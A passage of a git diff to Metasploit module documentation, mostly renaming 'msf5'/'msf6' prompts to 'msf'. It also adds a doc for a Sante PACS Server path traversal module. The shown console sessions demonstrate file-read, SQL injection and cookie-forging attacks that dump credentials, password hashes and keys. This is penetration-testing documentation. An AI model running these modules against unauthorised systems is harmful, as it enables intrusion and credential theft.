on OneDev 11.0.8 ``` -msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 +msf auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 RHOSTS => 192.168.1.10 -msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 +msf auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 RPORT => 6610 -msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt +msf auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt PROJECT_NAMES_FILE => /home/server/wordlist.txt -msf6 auxiliary(gather/onedev_arbitrary_file_read) > run +msf auxiliary(gather/onedev_arbitrary_file_read) > run [*] Running module against 192.168.1.10 [*] Brute forcing valid project name ... diff --git a/documentation/modules/auxiliary/gather/pacsserver_traversal.md b/documentation/modules/auxiliary/gather/pacsserver_traversal.md new file mode 100644 index 0000000000000..f44de80d49848 --- /dev/null +++ b/documentation/modules/auxiliary/gather/pacsserver_traversal.md @@ -0,0 +1,68 @@ +## Vulnerable Application + +This module exploits a path traversal vulnerability in Sante PACS Server <= v4.1.0 (CVE-2025-2264) to read arbitrary files from the system. + +## Testing + +The software can be obtained from +[the vendor](https://www.santesoft.com/win/sante-pacs-server/download.html). + +By default, the server listens on TCP port 3000 on all network interfaces. + +**Successfully tested on** + +- Sante PACS Server v4.1.0 on Windows 22H2 + +## Verification Steps + +1. Install and run the application +2. Start `msfconsole` and run the following commands: + +``` +msf > use auxiliary/gather/pacsserver_traversal +msf auxiliary(gather/pacsserver_traversal) > set RHOSTS +msf auxiliary(gather/pacsserver_traversal) > run +``` + +This should return the database for the web server. Any files retrieved will +be stored as loot. + +## Options + +### FILE +The file to be retrieved from the file system. By default, this is the database for the web server, HTTP.db. However, any arbitrary +file can be specified. + +Example: /.HTTP/HTTP.db + +### DEPTH +The traversal depth. The FILE path will be prepended with /assets/ + ../ * DEPTH. + +## Scenarios + +Running the exploit against v4.1.0 on Windows 22H22 should result in an output similar to the following: + +``` +msf auxiliary(gather/pacsserver_traversal) > run +[*] Running module against 192.168.137.217 + +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[+] File retrieved: /assets/../../.HTTP/HTTP.db +[*] File saved as loot. +[*] Auxiliary module execution completed + +``` + +The file will be stored as loot: + +``` +msf auxiliary(gather/upsmon_traversal) > loot + +Loot +==== + +host service type name content info path +---- ------- ---- ---- ------- ---- ---- +192.168.137.217 pacsserver.file /.HTTP/HTTP.db text/plain File retrieved through PACS Server path traversal. /home/foo/.msf4/loot/20250502165539_default_192.168.137.217_pacsserver.file_594385.txt +``` diff --git a/documentation/modules/auxiliary/gather/peplink_bauth_sqli.md b/documentation/modules/auxiliary/gather/peplink_bauth_sqli.md index deb810183f4cb..6fc36bf6e5dca 100644 --- a/documentation/modules/auxiliary/gather/peplink_bauth_sqli.md +++ b/documentation/modules/auxiliary/gather/peplink_bauth_sqli.md @@ -50,8 +50,8 @@ Refer to its installation guide, use a free Solo license. BypassLogin: ``` -msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true -msf5 auxiliary(gather/peplink_bauth_sqli) > run +msf auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true +msf auxiliary(gather/peplink_bauth_sqli) > run [*] Running module against 192.168.1.254 [+] Target seems to be vulnerable @@ -84,7 +84,7 @@ msf5 auxiliary(gather/peplink_bauth_sqli) > run [*] Retrieving mvpn_summary [+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkmvpn_sum_261747.txt [*] Auxiliary module execution completed -msf5 auxiliary(gather/peplink_bauth_sqli) > +msf auxiliary(gather/peplink_bauth_sqli) > ``` The config is a .tar.gz archive with an added 36-byte header, you can extract the plaintext config: @@ -122,11 +122,11 @@ LEFTTIME_USAGE="yes" EnumPrivs and EnumUsernames: ``` -msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumPrivs true +msf auxiliary(sqli/peplink_bauth_sqli) > set EnumPrivs true EnumPrivs => true -msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumUsernames true +msf auxiliary(sqli/peplink_bauth_sqli) > set EnumUsernames true EnumUsernames => true -msf5 auxiliary(sqli/peplink_bauth_sqli) > run +msf auxiliary(sqli/peplink_bauth_sqli) > run [*] Running module against 192.168.1.254 [+] Target seems vulnerable @@ -140,7 +140,7 @@ msf5 auxiliary(sqli/peplink_bauth_sqli) > run ... [*] Auxiliary module execution completed -msf5 auxiliary(sqli/peplink_bauth_sqli) > +msf auxiliary(sqli/peplink_bauth_sqli) > ``` Verbose: @@ -148,9 +148,9 @@ Verbose: When you enable verbose, you get the parsed XML document displayed. ``` -msf5 auxiliary(gather/peplink_bauth_sqli) > set Verbose true -msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true -msf5 auxiliary(gather/peplink_bauth_sqli) > run +msf auxiliary(gather/peplink_bauth_sqli) > set Verbose true +msf auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true +msf auxiliary(gather/peplink_bauth_sqli) > run [*] Running module against 192.168.1.254 [+] Target seems to be vulnerable @@ -397,13 +397,13 @@ msf5 auxiliary(gather/peplink_bauth_sqli) > run [+] WAN Port Unavailable [+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkmvpn_sum_970830.txt [*] Auxiliary module execution completed -msf5 auxiliary(gather/peplink_bauth_sqli) > +msf auxiliary(gather/peplink_bauth_sqli) > ``` Loot: ``` -msf5 auxiliary(gather/peplink_bauth_sqli) > loot +msf auxiliary(gather/peplink_bauth_sqli) > loot Loot ==== @@ -425,6 +425,6 @@ host service type name content 192.168.1.254 peplink cert_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkcert_inf_765605.txt 192.168.1.254 peplink mvpn_summary text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkmvpn_sum_890141.txt -msf5 auxiliary(gather/peplink_bauth_sqli) > +msf auxiliary(gather/peplink_bauth_sqli) > ``` diff --git a/documentation/modules/auxiliary/gather/pimcore_creds_sqli.md b/documentation/modules/auxiliary/gather/pimcore_creds_sqli.md index d2e9d1b47d1d0..353f243d5e15c 100644 --- a/documentation/modules/auxiliary/gather/pimcore_creds_sqli.md +++ b/documentation/modules/auxiliary/gather/pimcore_creds_sqli.md @@ -48,12 +48,12 @@ wvu@kharak:~$ ### Tested on Ubuntu 18.04.1 Running Pimcore v5.2.3 ``` -msf5 > use auxiliary/gather/pimcore_creds_sqli -msf5 auxiliary(gather/pimcore_creds_sqli) > set rhosts 192.168.37.246 +msf > use auxiliary/gather/pimcore_creds_sqli +msf auxiliary(gather/pimcore_creds_sqli) > set rhosts 192.168.37.246 rhosts => 192.168.37.246 -msf5 auxiliary(gather/pimcore_creds_sqli) > set apikey 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b +msf auxiliary(gather/pimcore_creds_sqli) > set apikey 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b apikey => 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b -msf5 auxiliary(gather/pimcore_creds_sqli) > run +msf auxiliary(gather/pimcore_creds_sqli) > run [+] Credentials obtained: [+] admin : $2y$10$sBaD3EOAm/i1F3Mm/fwseeq3nyoacdlUt4NkVLZUgJ4FTReJSKIbe diff --git a/documentation/modules/auxiliary/gather/piwigo_cve_2023_26876.md b/documentation/modules/auxiliary/gather/piwigo_cve_2023_26876.md index adff010942381..2ae11d27aa923 100644 --- a/documentation/modules/auxiliary/gather/piwigo_cve_2023_26876.md +++ b/documentation/modules/auxiliary/gather/piwigo_cve_2023_26876.md @@ -88,7 +88,7 @@ CMD ["php","-S","0.0.0.0:8000","-t","piwigo"] ### Piwigo SQL Injection ``` -msf6 auxiliary(gather/piwigo_cve_2023_26876) > show options +msf auxiliary(gather/piwigo_cve_2023_26876) > show options Module options (auxiliary/gather/piwigo_cve_2023_26876): @@ -106,7 +106,7 @@ Module options (auxiliary/gather/piwigo_cve_2023_26876): View the full module info with the info, or info -d command. -msf6 auxiliary(gather/piwigo_cve_2023_26876) > run +msf auxiliary(gather/piwigo_cve_2023_26876) > run [*] Running module against 127.0.0.1 [*] Running automatic check ("set AutoCheck false" to disable) @@ -128,5 +128,5 @@ Piwigo Users user $P$GE/wX1wqKM0WKkAGXvhYihdPhgl5Mw/ [*] Auxiliary module execution completed -msf6 auxiliary(gather/piwigo_cve_2023_26876) > +msf auxiliary(gather/piwigo_cve_2023_26876) > ``` diff --git a/documentation/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.md b/documentation/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.md index 017c60cf7bb6d..4f4d781051bf6 100644 --- a/documentation/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.md +++ b/documentation/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.md @@ -54,13 +54,13 @@ what files you can read, you can first read the root directories (/) contents. ( ### Default ``` -msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set RHOST 169.254.180.121 +msf auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set RHOST 169.254.180.121 RHOST => 169.254.180.121 -msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set STORE_LOOT false +msf auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set STORE_LOOT false STORE_LOOT => false -msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set TARGETUSER testuser1 +msf auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set TARGETUSER testuser1 TARGETUSER => testuser1 -msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > show options +msf auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > show options Module options (auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806): @@ -75,7 +75,7 @@ Module options (auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806): View the full module info with the info, or info -d command. -msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run +msf auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run [*] Running module against 169.254.180.121 [*] Authenticating as: testuser1@169.254.180.121:22 @@ -85,12 +85,12 @@ dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/ dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/TestFolder1/ -rw-rw-rw- 1 0 0 8 Jun 18 22:50 /Home/testuser1/test.txt [*] Auxiliary module execution completed -msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run TARGETFILE=/Home/testuser1/test.txt +msf auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run TARGETFILE=/Home/testuser1/test.txt [*] Running module against 169.254.180.121 [*] Authenticating as: testuser1@169.254.180.121:22 [*] Downloading file: /Home/testuser1/test.txt secrets! [*] Auxiliary module execution completed -msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > +msf auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > ``` diff --git a/documentation/modules/auxiliary/gather/prometheus_api_gather.md b/documentation/modules/auxiliary/gather/prometheus_api_gather.md index 7d02a3af08e9b..2670ef61083bb 100644 --- a/documentation/modules/auxiliary/gather/prometheus_api_gather.md +++ b/documentation/modules/auxiliary/gather/prometheus_api_gather.md @@ -33,11 +33,11 @@ as it may not start w/o being able to contact the contacted services. ### Prometheus 2.39.1 ``` -msf6 auxiliary(gather/prometheus_api_gather) > set rhosts 11.111.11.111 +msf auxiliary(gather/prometheus_api_gather) > set rhosts 11.111.11.111 rhosts => 11.111.11.111 -msf6 auxiliary(gather/prometheus_api_gather) > set rport 80 +msf auxiliary(gather/prometheus_api_gather) > set rport 80 rport => 80 -msf6 auxiliary(gather/prometheus_api_gather) > run +msf auxiliary(gather/prometheus_api_gather) > run [*] Running module against 11.111.11.111 [*] 11.111.11.111:80 - Checking build info diff --git a/documentation/modules/auxiliary/gather/prometheus_node_exporter_gather.md b/documentation/modules/auxiliary/gather/prometheus_node_exporter_gather.md index d80adc1ebd038..f425ab8458f84 100644 --- a/documentation/modules/auxiliary/gather/prometheus_node_exporter_gather.md +++ b/documentation/modules/auxiliary/gather/prometheus_node_exporter_gather.md @@ -47,12 +47,12 @@ Run it with the following command: ### Docker 1.6.1 ``` -msf6 > use auxiliary/gather/prometheus_node_exporter_gather -msf6 auxiliary(gather/prometheus_node_exporter_gather) > set rhosts 127.0.0.1 +msf > use auxiliary/gather/prometheus_node_exporter_gather +msf auxiliary(gather/prometheus_node_exporter_gather) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(gather/prometheus_node_exporter_gather) > set verbose true +msf auxiliary(gather/prometheus_node_exporter_gather) > set verbose true verbose => true -msf6 auxiliary(gather/prometheus_node_exporter_gather) > run +msf auxiliary(gather/prometheus_node_exporter_gather) > run [*] Running module against 127.0.0.1 [*] 127.0.0.1:9100 - Checking diff --git a/documentation/modules/auxiliary/gather/pulse_secure_file_disclosure.md b/documentation/modules/auxiliary/gather/pulse_secure_file_disclosure.md index d9dd8abb7e4e5..2fa68021a014b 100644 --- a/documentation/modules/auxiliary/gather/pulse_secure_file_disclosure.md +++ b/documentation/modules/auxiliary/gather/pulse_secure_file_disclosure.md @@ -40,7 +40,7 @@ Whether to print file contents to the screen. Valid only in manual mode. Dumping creds and sessions in automatic mode: ``` -msf5 auxiliary(gather/pulse_secure_file_disclosure) > run +msf auxiliary(gather/pulse_secure_file_disclosure) > run [*] Running module against [redacted] [*] Running in automatic mode @@ -61,7 +61,7 @@ msf5 auxiliary(gather/pulse_secure_file_disclosure) > run [*] Dumping /data/runtime/mtmp/system [+] /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin [*] Auxiliary module execution completed -msf5 auxiliary(gather/pulse_secure_file_disclosure) > loot +msf auxiliary(gather/pulse_secure_file_disclosure) > loot Loot ==== @@ -72,15 +72,15 @@ host service type name [redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/lmdb/randomVal/data.mdb application/octet-stream Session IDs /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb [redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/system application/octet-stream Hashed credentials /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin -msf5 auxiliary(gather/pulse_secure_file_disclosure) > +msf auxiliary(gather/pulse_secure_file_disclosure) > ``` Dumping default `/etc/passwd` in manual mode: ``` -msf5 auxiliary(gather/pulse_secure_file_disclosure) > set action Manual +msf auxiliary(gather/pulse_secure_file_disclosure) > set action Manual action => Manual -msf5 auxiliary(gather/pulse_secure_file_disclosure) > run +msf auxiliary(gather/pulse_secure_file_disclosure) > run [*] Running module against [redacted] [*] Running in manual mode @@ -97,5 +97,5 @@ postgres:x:102:102:PostgreSQL User:/: [+] /Users/wvu/.msf4/loot/20191029222949_default_[redacted]_PulseSecureVPN_073170.bin [*] Auxiliary module execution completed -msf5 auxiliary(gather/pulse_secure_file_disclosure) > +msf auxiliary(gather/pulse_secure_file_disclosure) > ``` diff --git a/documentation/modules/auxiliary/gather/python_flask_cookie_signer.md b/documentation/modules/auxiliary/gather/python_flask_cookie_signer.md index de40c8d607a1f..6dc1de8d14916 100644 --- a/documentation/modules/auxiliary/gather/python_flask_cookie_signer.md +++ b/documentation/modules/auxiliary/gather/python_flask_cookie_signer.md @@ -71,14 +71,14 @@ When action is set to `FindSecret`, a file containing secret keys to try. One pe #### Grab the cookie to make sure its a valid cookie that can be decoded. (Retrieve) ``` -msf6 > use auxiliary/gather/python_flask_cookie_signer -msf6 auxiliary(gather/python_flask_cookie_signer) > set RHOSTS 192.168.159.128 +msf > use auxiliary/gather/python_flask_cookie_signer +msf auxiliary(gather/python_flask_cookie_signer) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 auxiliary(gather/python_flask_cookie_signer) > set RPORT 8088 +msf auxiliary(gather/python_flask_cookie_signer) > set RPORT 8088 RPORT => 8088 -msf6 auxiliary(gather/python_flask_cookie_signer) > set TARGETURI /login +msf auxiliary(gather/python_flask_cookie_signer) > set TARGETURI /login TARGETURI => /login -msf6 auxiliary(gather/python_flask_cookie_signer) > run +msf auxiliary(gather/python_flask_cookie_signer) > run [*] Running module against 192.168.159.128 [*] 192.168.159.128:8088 - Retrieving Cookie @@ -90,9 +90,9 @@ msf6 auxiliary(gather/python_flask_cookie_signer) > run #### Determine the secret key (FindSecret) ``` -msf6 auxiliary(gather/python_flask_cookie_signer) > set action FindSecret +msf auxiliary(gather/python_flask_cookie_signer) > set action FindSecret action => findsecret -msf6 auxiliary(gather/python_flask_cookie_signer) > run +msf auxiliary(gather/python_flask_cookie_signer) > run [*] Running module against 127.0.0.1 [*] 127.0.0.1:8088 - Retrieving Cookie @@ -104,17 +104,17 @@ msf6 auxiliary(gather/python_flask_cookie_signer) > run #### Sign a new cookie (Resign) ``` -msf6 auxiliary(gather/python_flask_cookie_signer) > set NEWCOOKIECONTENT '{"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"}' +msf auxiliary(gather/python_flask_cookie_signer) > set NEWCOOKIECONTENT '{"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"}' NEWCOOKIECONTENT => {"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"} -msf6 auxiliary(gather/python_flask_cookie_signer) > set SECRET CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET +msf auxiliary(gather/python_flask_cookie_signer) > set SECRET CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET SECRET => CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET -msf6 auxiliary(gather/python_flask_cookie_signer) > set ACTION Resign +msf auxiliary(gather/python_flask_cookie_signer) > set ACTION Resign ACTION => Resign -msf6 auxiliary(gather/python_flask_cookie_signer) > run +msf auxiliary(gather/python_flask_cookie_signer) > run [*] Running module against 192.168.159.128 [*] Attempting to sign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET [+] 192.168.159.128:8088 - New signed cookie: session=IntcImNzcmZfdG9rZW5cIj0-XCIwOGU1MWRkMWYzNTJkNjc5MGU2YWI5Yjk5ZGFkZDYyMTYwMmI5MTg5XCIsIFwibG9jYWxlXCI9PlwiZnJcIn0i.ZPodFA.4hA6OiYpdxAUoOsA9L7DMTVOZkI [*] Auxiliary module execution completed -msf6 auxiliary(gather/python_flask_cookie_signer) > +msf auxiliary(gather/python_flask_cookie_signer) > ``` diff --git a/documentation/modules/auxiliary/gather/qnap_lfi.md b/documentation/modules/auxiliary/gather/qnap_lfi.md index b417796561925..97eaf007a4216 100644 --- a/documentation/modules/auxiliary/gather/qnap_lfi.md +++ b/documentation/modules/auxiliary/gather/qnap_lfi.md @@ -46,7 +46,7 @@ Whether to print file contents to the screen, defaults to true. #### Dumping hashes from `/etc/shadow` ``` -msf5 auxiliary(gather/qnap_lfi) > run +msf auxiliary(gather/qnap_lfi) > run [*] Running module against [REDACTED] [*] Getting the Album Id @@ -68,7 +68,7 @@ Merle:$1$JjtNtEJx$PMtCY0tpb2N/rjck2fHVI0:17438:0:99999:7::: a9d01ba7:$1$PKQtJPZZ$3RdJRQozKzdx1axJqP9Fe/:18405:0:99999:7::: [*] adding the /etc/shadow entries to the database [*] Auxiliary module execution completed -msf5 auxiliary(gather/qnap_lfi) > loot +msf auxiliary(gather/qnap_lfi) > loot Loot ==== @@ -77,7 +77,7 @@ host service type name content info path ---- ------- ---- ---- ------- ---- ---- [REDACTED] qnap.http shadow text/plain /home/redouane/.msf4/loot/20200528212705_default_[REDACTED]_qnap.http_394810.bin -msf5 auxiliary(gather/qnap_lfi) > creds +msf auxiliary(gather/qnap_lfi) > creds Credentials =========== @@ -91,7 +91,7 @@ host origin service public private re [REDACTED] Merle $1$JjtNtEJx$PMtCY0tpb2N/rjck2fHVI0 Nonreplayable hash md5crypt [REDACTED] a9d01ba7 $1$PKQtJPZZ$3RdJRQozKzdx1axJqP9Fe/ Nonreplayable hash md5crypt -msf5 auxiliary(gather/qnap_lfi) > +msf auxiliary(gather/qnap_lfi) > ``` The hashes can be used to login from the web interface, or through ssh if it's enabled. @@ -99,9 +99,9 @@ The hashes can be used to login from the web interface, or through ssh if it's e #### Dumping ssh private keys ``` -msf5 auxiliary(gather/qnap_lfi) > set FILEPATH /root/.ssh/id_rsa +msf auxiliary(gather/qnap_lfi) > set FILEPATH /root/.ssh/id_rsa FILEPATH => /root/.ssh/id_rsa -msf5 auxiliary(gather/qnap_lfi) > exploit +msf auxiliary(gather/qnap_lfi) > exploit [*] Running module against [redacted] [*] Getting the Album Id @@ -115,15 +115,15 @@ msf5 auxiliary(gather/qnap_lfi) > exploit [redacted] -----END RSA PRIVATE KEY----- [*] Auxiliary module execution completed -msf5 auxiliary(gather/qnap_lfi) > +msf auxiliary(gather/qnap_lfi) > ``` #### Retrieving the token, can be used to authenticate ``` -msf5 auxiliary(gather/qnap_lfi) > set FILEPATH /share/Multimedia/.@__thumb/ps.app.token +msf auxiliary(gather/qnap_lfi) > set FILEPATH /share/Multimedia/.@__thumb/ps.app.token FILEPATH => /share/Multimedia/.@__thumb/ps.app.token -msf5 auxiliary(gather/qnap_lfi) > exploit +msf auxiliary(gather/qnap_lfi) > exploit [*] Running module against [redacted] [*] Getting the Album Id @@ -135,7 +135,7 @@ msf5 auxiliary(gather/qnap_lfi) > exploit [+] File content: [redacted] [*] Auxiliary module execution completed -msf5 auxiliary(gather/qnap_lfi) > +msf auxiliary(gather/qnap_lfi) > ``` The token can then be used to authenticate, by sending a POST request to the uri `/cgi-bin/authLogin.cgi`, for the example above: @@ -147,7 +147,7 @@ This would return an `authSid`, that can be used with most endpoints that requir ### QNAP QTS 4.3.6 with Photo Station 5.7.9 ``` -msf5 auxiliary(gather/qnap_lfi) > show options +msf auxiliary(gather/qnap_lfi) > show options Module options (auxiliary/gather/qnap_lfi): @@ -171,7 +171,7 @@ Auxiliary action: Download Download the file at FILEPATH -msf5 auxiliary(gather/qnap_lfi) > run +msf auxiliary(gather/qnap_lfi) > run [*] Running module against 192.168.250.5 [*] Getting the Album Id @@ -189,5 +189,5 @@ proc /proc proc defaults 0 0 none /dev/pts devpts gid=5,mode=620 0 0 [*] Auxiliary module execution completed -msf5 auxiliary(gather/qnap_lfi) > +msf auxiliary(gather/qnap_lfi) > ``` diff --git a/documentation/modules/auxiliary/gather/rails_doubletap_file_read.md b/documentation/modules/auxiliary/gather/rails_doubletap_file_read.md index 5a4c490d07877..9cf7daf6126e2 100644 --- a/documentation/modules/auxiliary/gather/rails_doubletap_file_read.md +++ b/documentation/modules/auxiliary/gather/rails_doubletap_file_read.md @@ -38,8 +38,8 @@ ``` -msf5 > use auxiliary/gather/rails_doubletap_file_read -msf5 auxiliary(gather/rails_doubletap_file_read) > options +msf > use auxiliary/gather/rails_doubletap_file_read +msf auxiliary(gather/rails_doubletap_file_read) > options Module options (auxiliary/gather/rails_doubletap_file_read): @@ -53,13 +53,13 @@ Module options (auxiliary/gather/rails_doubletap_file_read): TARGET_FILE /etc/passwd yes The absolute path of remote file to read. VHOST no HTTP server virtual host -msf5 auxiliary(gather/rails_doubletap_file_read) > set RHOSTS localhost +msf auxiliary(gather/rails_doubletap_file_read) > set RHOSTS localhost RHOSTS => localhost -msf5 auxiliary(gather/rails_doubletap_file_read) > set RPORT 8000 +msf auxiliary(gather/rails_doubletap_file_read) > set RPORT 8000 RPORT => 8000 -smsf5 auxiliary(gather/rails_doubletap_file_read) > set ROUTE /demo +smsf auxiliary(gather/rails_doubletap_file_read) > set ROUTE /demo ROUTE => /demo -msf5 auxiliary(gather/rails_doubletap_file_read) > run +msf auxiliary(gather/rails_doubletap_file_read) > run [*] Running module against 127.0.0.1 [+] Target is vulnerable! diff --git a/documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md b/documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md index 680e97cb1e58d..10fbab109bc57 100644 --- a/documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md +++ b/documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md @@ -79,22 +79,22 @@ Password for Rancher. ### Docker Image ``` -msf6 > use auxiliary/gather/rancher_authenticated_api_cred_exposure -msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set rhosts rancher.178.62.209.204.sslip.io +msf > use auxiliary/gather/rancher_authenticated_api_cred_exposure +msf auxiliary(gather/rancher_authenticated_api_cred_exposure) > set rhosts rancher.178.62.209.204.sslip.io rhosts => rancher.178.62.209.204.sslip.io -msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set username readonlyuser +msf auxiliary(gather/rancher_authenticated_api_cred_exposure) > set username readonlyuser username => readonlyuser -msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set password readonlyuserreadonlyuser +msf auxiliary(gather/rancher_authenticated_api_cred_exposure) > set password readonlyuserreadonlyuser password => readonlyuserreadonlyuser -msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set verbose true +msf auxiliary(gather/rancher_authenticated_api_cred_exposure) > set verbose true verbose => true -msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run +msf auxiliary(gather/rancher_authenticated_api_cred_exposure) > run [*] Running module against 178.62.209.204 [*] Attempting login [-] Auxiliary aborted due to failure: unreachable: 178.62.209.204:443 - Could not connect to web service - no response [*] Auxiliary module execution completed -msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run +msf auxiliary(gather/rancher_authenticated_api_cred_exposure) > run [*] Running module against 178.62.209.204 [*] Attempting login diff --git a/documentation/modules/auxiliary/gather/ray_lfi_cve_2023_6020.md b/documentation/modules/auxiliary/gather/ray_lfi_cve_2023_6020.md index ce6add271b8a8..b7771902de193 100644 --- a/documentation/modules/auxiliary/gather/ray_lfi_cve_2023_6020.md +++ b/documentation/modules/auxiliary/gather/ray_lfi_cve_2023_6020.md @@ -40,12 +40,12 @@ This is the file to read. Default is `/etc/passwd`. ### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 ``` -msf6 > use auxiliary/gather/ray_lfi_cve_2023_6020 -msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > set rhost 192.168.56.6 +msf > use auxiliary/gather/ray_lfi_cve_2023_6020 +msf auxiliary(gather/ray_lfi_cve_2023_6020) > set rhost 192.168.56.6 rhost => 192.168.56.6 -msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > check +msf auxiliary(gather/ray_lfi_cve_2023_6020) > check [+] 192.168.56.6:8265 - The target is vulnerable. -msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > run +msf auxiliary(gather/ray_lfi_cve_2023_6020) > run [*] Running module against 192.168.56.6 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/gather/redis_extractor.md b/documentation/modules/auxiliary/gather/redis_extractor.md index c4e0e8c22f1e9..4a0eb2bb43e7c 100644 --- a/documentation/modules/auxiliary/gather/redis_extractor.md +++ b/documentation/modules/auxiliary/gather/redis_extractor.md @@ -48,24 +48,24 @@ Stop after retrieving this number of keys, per datastore. Note that one redis in ### Check ``` -msf6 > use auxiliary/gather/redis_extractor -msf6 auxiliary(gather/redis_extractor) > set rhosts 172.22.12.168 +msf > use auxiliary/gather/redis_extractor +msf auxiliary(gather/redis_extractor) > set rhosts 172.22.12.168 rhosts => 172.22.12.168 -msf6 auxiliary(gather/redis_extractor) > check +msf auxiliary(gather/redis_extractor) > check [+] 172.22.12.168:6379 - Connected to Redis version 6.0.8 [*] 172.22.12.168:6379 - OS is Linux 5.4.39-linuxkit x86_64 [*] 172.22.12.168:6379 - The target appears to be vulnerable. -msf6 auxiliary(gather/redis_extractor) > +msf auxiliary(gather/redis_extractor) > ``` ### Run ``` -msf6 > use auxiliary/gather/redis_extractor -msf6 auxiliary(gather/redis_extractor) > set rhosts 172.22.12.168 +msf > use auxiliary/gather/redis_extractor +msf auxiliary(gather/redis_extractor) > set rhosts 172.22.12.168 rhosts => 172.22.12.168 -msf6 auxiliary(gather/redis_extractor) > run +msf auxiliary(gather/redis_extractor) > run [+] 172.22.12.168:6379 - Connected to Redis version 6.0.8 [*] 172.22.12.168:6379 - Extracting about 1 keys from database 0 @@ -80,5 +80,5 @@ Data from 172.22.12.168:6379 database 0 [+] 172.22.12.168:6379 - Redis data stored at /root/.msf4/loot/20201113203708_default_172.22.12.168_redis.dump_db0_836292.txt [*] 172.22.12.168:6379 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(gather/redis_extractor) > +msf auxiliary(gather/redis_extractor) > ``` diff --git a/documentation/modules/auxiliary/gather/roundcube_auth_file_read.md b/documentation/modules/auxiliary/gather/roundcube_auth_file_read.md index f95674af968de..cafa2da23a09d 100644 --- a/documentation/modules/auxiliary/gather/roundcube_auth_file_read.md +++ b/documentation/modules/auxiliary/gather/roundcube_auth_file_read.md @@ -125,7 +125,7 @@ resource (msf)> set USERNAME roundcube_user USERNAME => roundcube_user resource (msf)> set PASSWORD roundcube_password PASSWORD => roundcube_password -msf6 auxiliary(gather/roundcube_auth_file_read) > run +msf auxiliary(gather/roundcube_auth_file_read) > run [*] Running module against 